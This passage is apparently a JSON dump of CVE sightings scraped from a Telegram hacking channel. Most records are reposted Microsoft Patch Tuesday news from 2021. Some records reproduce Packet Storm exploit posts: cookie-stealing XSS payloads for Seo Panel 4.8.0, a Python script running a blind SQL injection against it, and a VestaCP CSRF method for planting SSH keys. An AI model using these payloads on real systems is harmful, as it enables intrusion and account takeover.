Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-01T20:02:46.847725Z"}, {"uuid": "53a47d2a-6263-4933-b123-1bc929d0e465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-01T20:02:46.893661Z"}, {"uuid": "0722e565-1287-478c-9fd3-76173dd80b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28418", "type": "seen", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:40.198800Z"}, {"uuid": "bf93ff1a-87f0-48fb-b8e3-bf55fb1f36b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/hacking_Attack/8311", "content": "is impacted as well. Definitely put this on the top of your test-and-deploy list.\u201d CVE-2021-26419This second critical bug affecting Microsoft\u2019s legacy browser allows RCE, and offers several avenues of attack, according to researchers.\n\n\u201cIn a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website,\u201d explained Feldman. \u201cAn attacker could also embed an ActiveX control marked \u2018safe for initialization\u2019 in an application or Microsoft Office document that hosts the IE rendering engine. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.\u201d\nSee Also: Offensive Security Tool: EyeWitness The best way to counteract this bug is ditching IE, noted Breen.\n\n\u201cInternet Explorer needs to die \u2013 and I\u2019m not the only one that thinks so,\u201d he told Threatpost. \u201cIf you are an organization that has to provide IE11 to support legacy applications, consider enforcing a policy on the users that restricts the domains that can be accessed by IE11 to only those legacy applications. All other web browsing should be performed with a supported browser.\u201d CVE-2021-31194The third critical bug exists in the Microsoft Windows OLE Automation, which in and of itself should place it on the priority-patch list, according to researchers.\n\n\u201cTo exploit the vulnerability, an attacker could host a specially crafted website designed to invoke OLE automation through a web browser,\u201d explained Justin Knapp, Automox researcher. \u201cHowever, this approach requires that the attacker bait a user into visiting the maliciously crafted website.\u201d\n\nHe pointed out that OLE technology has frequently been used to mask malicious code within documents and for linking to external files that infect systems with malware.\n\n\u201cIn 2020, the CISA released an alert detailing the top 10 routinely exploited vulnerabilities, which identified Microsoft\u2019s OLE as the most commonly exploited technology by state-sponsored cyber-actors,\u201d he said. \u201cConsidering the prevalent exploitation of OLE vulnerabilities, including those that had been flagged years ago, organizations should immediately prioritize patching all outstanding OLE vulnerabilities.\u201d See Also: Hacking Stories: Xbox UndergroundCVE-2021-28476The last critical bug is found in Windows Hyper-V, which is a native hypervisor that can create and run virtual machines on x86-64 systems running Windows. It can allow an attacker to execute arbitrary code, Knapp said:\u00a0\u201cTo exploit this vulnerability, an attacker could run a specially crafted application on a Hyper-V guest that could cause the Hyper-V host operating system to execute arbitrary code when it fails to properly validate vSMB packet data. Successful exploitation could enable an attacker to run malicious binaries on Hyper-V virtual machines or execute arbitrary code on the host system itself.\u201d\n\nThat said, Microsoft noted that an attacker is more likely to abuse the bug for DoS attacks in the form of a system crash rather than RCE, Childs pointed out, which mitigates the vulnerability\u2019s CVSS score of 9.9.\n\n\u201cBecause of this, it could be argued that the attack complexity would be high, which changes the CVSS rating to 8.5,\u201d he said. \u201cThat still rates as high-severity, but not critical. Still, the bug check [system crash] alone is worth making sure your Hyper-V systems get this update.\u201d Publicly Disclosed VulnerabilitiesChris Goettl, senior director of product management at Ivanti, told Threatpost that the biggest patching priority should be the publicly disclosed bugs \u2013 even though there is as yet no known malicious exploitation.\n\n\u201cThe top concern from the Microsoft updates this month is the update for Microsoft Exchange that[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:43.656053Z"}, {"uuid": "575a78f2-4170-477a-96d3-72a9a3938d35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/hacking_Attack/8310", "content": "Black Hat Ethical Hacking\nWormable Windows Bug Opens Door to DoS, RCE\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Wormable Windows Bug Opens Door to DoS, RCEPost Views: 89 \nReading Time: 2 Minutes\nMicrosoft\u2019s May 2021 Patch Tuesday updates include fixes for four critical security vulnerabilities, including a\u00a0patch for a concerning wormable vulnerability found in the Windows OS.\nThe good news is that none of the vulnerabilities are being actively exploited in the wild, according to Microsoft, though three are listed as publicly known. The fixes\u00a0address security flaws across Microsoft Windows, .NET Core and Visual Studio, Internet Explorer (IE), Microsoft Office, SharePoint Server, Open-Source Software, Hyper-V, Skype for Business and Microsoft Lync, and Exchange Server. Besides the four critical bugs, 50 are rated \u201cimportant\u201d and one is moderate in severity. Critical Microsoft Security Patches for May 2021The critical bugs in this month\u2019s Patch Tuesday release are:\n\n* CVE-2021-31166: A wormable HTTP protocol-stack issue in Windows 10 and some versions of Windows Server allowing remote code-execution (RCE)\n* CVE-2021-26419: A scripting-engine memory corruption vulnerability in Internet Explorer 11 and 9 allowing RCE\n* CVE-2021-31194: An RCE bug in the Microsoft Windows Object Linking and Embedding (OLE) Automation\n* CVE-2021-28476: An RCE vulnerability in Microsoft Windows Hyper-V CVE-2021-31166 \u2013 WormableThis most concerning critical bug for researchers is an HTTP protocol-stack issue that would allow RCE with kernel privileges or a denial-of-service (DoS) attack. The HTTP protocol stack enables Windows and applications to communicate with other devices; it can be run standalone or in conjunction with Internet Information Services (IIS).\n\n\u201cIf exploited, this vulnerability could enable an unauthenticated attacker to send a specially crafted packet to a targeted server utilizing the HTTP protocol stack (http.sys) to process packets and ultimately, execute arbitrary code, and take control of the affected system,\u201d Eric Feldman, cybersecurity researcher with Automox, wrote in an analysis.\nSee Also: Lemon Duck Cryptojacking Botnet Changes Up Tactics Worse, Microsoft noted that the bug is wormable, so that it could be used to self-replicate across the internal network and affect internal services that may not have been exposed.\n\n\u201cThe vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated DoS (Blue Screen of Death) for affected products,\u201d Steve Povolny, head of advanced threat research and principle engineer at McAfee, said via email. \u201cWhile this vulnerability has the potential to lead to code execution in the Windows kernel, this type of weaponization is a much higher bar for exploitation. However, if RCE can be achieved, cybercriminals would likely have the capability to create a worm, leading to self-propagation of the vulnerability across networks and the internet.\u201d\n\n\u201cFor ransomware operators, this kind of vulnerability is a prime target for exploitation,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cWormable exploits should always be a high priority, especially if they are for services that are designed to be public facing. As this specific exploit would not require any form of authentication, it\u2019s even more appealing for attackers, and any organization using HTTP.sys protocol stack should prioritize this patch.\u201d\n\nDustin Childs, researcher with Trend Micro\u2019s Zero Day Initiative (ZDI), noted in a blog, \u201cBefore you pass this aside, Windows 10 can also be configured as a web server, so it [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:43.799425Z"}, {"uuid": "189b8de7-1d55-4514-b469-d9b4b1e00130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "seen", "source": "https://t.me/hacking_Attack/6551", "content": "Exploit Collector\nSEO Panel 4.8.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nSEO Panel version 4.8.0 remote blind SQL injection exploit. Original discovery in this version is attributed to Piyush Patil in February of 2021.\n\nMD5 | 4b18d3433a071c4d3f98f08f8abcd113\n\nDownload\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 04.25.2021\n# Vendor: https://www.seopanel.org/\n# Link: https://www.seopanel.org/spdownload/4.8.0\n# CVE: CVE-2021-28419\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28419\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.3/seopanel/login.php\"\n\n#enter your login username\nusername=\"spadmin\"\n\n#enter your login password\npassword=\"spadmin\"\n\n#enter the element for username input field\nelement_for_username=\"userName\"\n\n#enter the element for password input field\nelement_for_password=\"password\"\n\n#enter the element for submit button\nelement_for_submit=\"login\"\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit\nbrowser.get((\"\nhttp://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT\n7397 FROM\n(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1\"))\n\nprint(\"payload is deployed MySQL is not responding correctly...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Date: 04.25.2021\n# Exploit Authotr idea: @nu11secur1ty, xoffense\n# Exploit Debugging: nu11secur1ty\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link: https://www.seopanel.org/spdownload/4.8.0\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28419\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:45.286277Z"}, {"uuid": "9fbe4ab6-db61-4ee8-8f1b-9f7fd5b99db1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/hacking_Attack/8312", "content": "includes the fix for CVE-2021-31207, which made its debut in the 2021 Pwn2Own competition,\u201d he said.\n\nThe bug tracked as CVE-2021-31207 is only rated as \u201cmoderate,\u201d but the \u201csecurity feature-bypass exploit was showcased prominently in the Pwn2Own contest and at some point details of the exploit will be published,\u201d Goettl explained. \u201cAt that point threat actors will be able to take advantage of the vulnerability if they have not already begun attempting to reverse engineer an exploit.\u201d\n\nThere two other publicly disclosed vulnerabilities resolved by Microsoft this month that exist in Common Utilities, found in the NNI open-source toolkit (CVE-2021-31200), and in .NET and Visual Studio (CVE-2021-31204).\n\n\u201cCommon Utilities and .NET and Visual Studio are less likely to be targeted, but due to the public disclosures they should not be ignored for long,\u201d Goettl added. Other Notable Microsoft Security Patches for May 2021As for the other patches in the update that stood out to the research community, ZDI\u2019s Childs highlighted a Windows wireless networking information-disclosure bug, tracked as CVE-2020-24587.\n\n\u201cThe ZDI doesn\u2019t normally highlight info disclosure bugs, but this one has the potential to be pretty damaging,\u201d Childs said. \u201cThis patch fixes a vulnerability that could allow an attacker to disclose the contents of encrypted wireless packets on an affected system. It\u2019s not clear what the range on such an attack would be, but you should assume some proximity is needed. You\u2019ll also note this CVE is from 2020, which could indicate Microsoft has been working on this fix for some time.\u201d Windows Graphics, SharePoint Server PatchesA trio of local privilege escalation flaws \u2013 two in the Windows Graphics Component (CVE-2021-31188, CVE-2021-31170) and one in SharePoint Server (CVE-2021-28474) \u2013 caught Breen\u2019s eye.\n\nAs for the first two, he noted they could be chained with another bug, such as the wormable bug listed above, to become highly dangerous and allow for WannaCry-style attacks.\n\n\u201cThis kind of vulnerability is often used by attackers after they have already gained a foothold through an initial infection vector, like phishing or via another exploit like the RCE in HTTP.sys (CVE-2021-31166),\u201d Breen noted via email. \u201cThe attackers are looking to increase their privileges so they can move laterally across a network or gain access to other accounts that may have access to more sensitive information.\u201d\n\nMeanwhile, the SharePoint bug allows an authenticated attacker to run code on remote SharePoint Servers.\n\n\u201cAs this is post-authentication, it\u2019s likely to be used as part of post-exploitation and lateral movement phases of an attack, rather than the initial-infection vector,\u201d Breen said. \u201cAttackers could gain access to sensitive documents or even replace real documents with weaponized versions, enabling the compromise of more user devices across the organization\u2019s network.\u201d Microsoft Exchange Server PatchesMicrosoft also patched four vulnerabilities in Microsoft Exchange Server. The flaws (CVE-2021-31198, RCE; CVE-2021-31207, spoofing; CVE-2021-31209, security bypass; and CVE-2021-31195, RCE), are all rated important or moderate.\n\n\u201cCVE-2021-31195 is attributed to Orange Tsai of the DEVCORE research team, who was responsible for disclosing the ProxyLogon Exchange Server\u00a0vulnerabilities that [were] patched in an out-of-band release back in March,\u201d Satnam Narang, staff research engineer with Tenable, told Threatpost. \u201cWhile none of these flaws are deemed critical in nature, it is a reminder that researchers and attackers are still looking closely at Exchange Server for additional vulnerabilities, so organizations that have yet to update their systems should do so as soon as possible.\u201d\n\nAnd finally, Ivanti\u2019s Goettl noted that several Microsoft products have reached end-of-life and won\u2019t be getting support going forward.\n\n\u201cThis month marks the final update for several Windows 10 and Server [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:42.900475Z"}, {"uuid": "636ac7ee-4824-48ab-9078-45c1d406a815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-01T20:02:46.666911Z"}, {"uuid": "d5616cfe-5a91-4860-b29a-ca27a22c8ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-01T20:02:46.713370Z"}, {"uuid": "2d0c8124-db64-4544-ae3e-b7fb0ab76efc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28379", "type": "seen", "source": "https://t.me/hacking_Attack/1478", "content": "Exploit Collector\nVestaCP 0.9.8 Cross Site Request Forgery\n\nhttps://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png \nVestaCP version 0.9.8 suffers from a cross site request forgery that can be leveraged to add remote ssh access.\n\nMD5 | 0cd72aff04a0cdb12d80f6b96cd818ed\n\nDownload\n# Exploit Title: VestaCP 0.9.8 - File Upload CSRF\n# Exploit Author: Fady Othman \n# Date: 16-03-2021\n# Vendor Homepage: https://vestacp.com/\n# Software Link: https://github.com/myvesta/vesta\n# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39\n# CVE ID: CVE-2021-28379\n# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355\n\n## Description\nI found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under \"/tmp\" and under the home folder (usually \"/home/admin\"), the later is the one that is important for this exploit to work.\n\nI was able to use this to create a \".ssh\" folder in the admin home and upload \"authorized_keys\" file which allowed me to access the server later as \"admin\" using SSH.\n\nSince this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added \"authorized_keys\" file, it will be replaced with the attacker's file.\n\nAffected endpoint: \"/upload/index.php\", i.e. \"/upload/index.php?dir=/home/admin/.ssh/\"\n\n## Steps to reproduce.\n1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.\n2. Login as the admin in Firefox, then open \"exploit.html\".\n3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.\n\n# exploit.html \n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:50.583523Z"}, {"uuid": "088b7515-d6c7-4bb1-aa37-ef4bb4664ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 